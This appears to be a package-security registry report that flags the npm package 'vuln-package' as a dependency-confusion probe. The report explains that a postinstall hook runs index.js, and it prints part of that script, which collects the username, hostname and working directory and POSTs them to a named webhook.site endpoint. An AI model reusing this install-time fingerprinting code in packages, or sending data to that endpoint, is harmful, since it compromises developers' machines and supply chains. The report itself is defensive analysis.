registry / Data exfiltration / vuln-package

vuln-package

This report shows the evidence for vuln-package@99.9.11. 4 of 4 known versions are blocked or flagged. The newest version, 99.9.14, is blocked. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

Direct inspection confirms concrete, unsolicited install-time collection and external exfiltration with no package-aligned functionality. This meets the blocking threshold for malicious behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

npm postinstall

Impact

Leaks local username, hostname, and project/install working-directory information.

Mechanism

install-time host fingerprinting and HTTPS exfiltration

Attack narrative

On installation, npm invokes `node index.js` through the package's `postinstall` hook. The script reads the local account username, hostname, and `INIT_CWD` or current directory, serializes them into JSON, and sends them via HTTPS POST to a third-party webhook endpoint. This is unsolicited install-time environment fingerprinting and data exfiltration.

AI rationale

Direct inspection confirms concrete, unsolicited install-time collection and external exfiltration with no package-aligned functionality. This meets the blocking threshold for malicious behavior.

Evidence

package.jsonindex.js

Network endpoints1

webhook.site/cde465c1-3853-40ea-880c-fdca6fe508cc

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`package.json` defines `postinstall: node index.js`.
`index.js` collects username, hostname, and install working directory.
`index.js` POSTs the collected host data to a third-party `webhook.site` URL.
The exfiltration runs automatically during npm installation, without user action or package functionality.

Evidence against

No additional package files or benign runtime functionality were present.
No credential-file reads, shell execution, or persistence beyond the install-time exfiltration were observed.

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 642 B of source, external domains: webhook.site

Source & flagged code

2 flagged

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1const os = require('os'); L2: const https = require('https'); L3: L4: const payload = JSON.stringify({ L5: user: os.userInfo().username, L6: cwd: process.env.INIT_CWD || process.cwd(), L7: hostname: os.hostname(), L8: // ip : localIP() ... L31: L32: req.write(payload); L33: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

Source & flagged code

2 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

Findings

2 High2 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationindex.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to vuln-package@99.9.11.

The versions list below shows the verdict for each recorded version.

Avoid installing vuln-package@99.9.11. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-07-12 21:31:53.178Z (UTC).

Source advisory published: 2026-07-12 20:57:24.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

4 known versions

99.9.14latestMaliciousMalwareBlockPublishedJul 12, 2026, 5:42 PM 99.9.11shownMaliciousData ExfiltrationBlockPublishedJul 12, 2026, 3:19 PM 99.9.10MaliciousMalwareBlockPublishedJul 12, 2026, 2:18 PM 99.9.9MaliciousMalwareBlockPublishedJul 12, 2026, 1:47 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Source & flagged code

Related packages

Other data exfiltration packages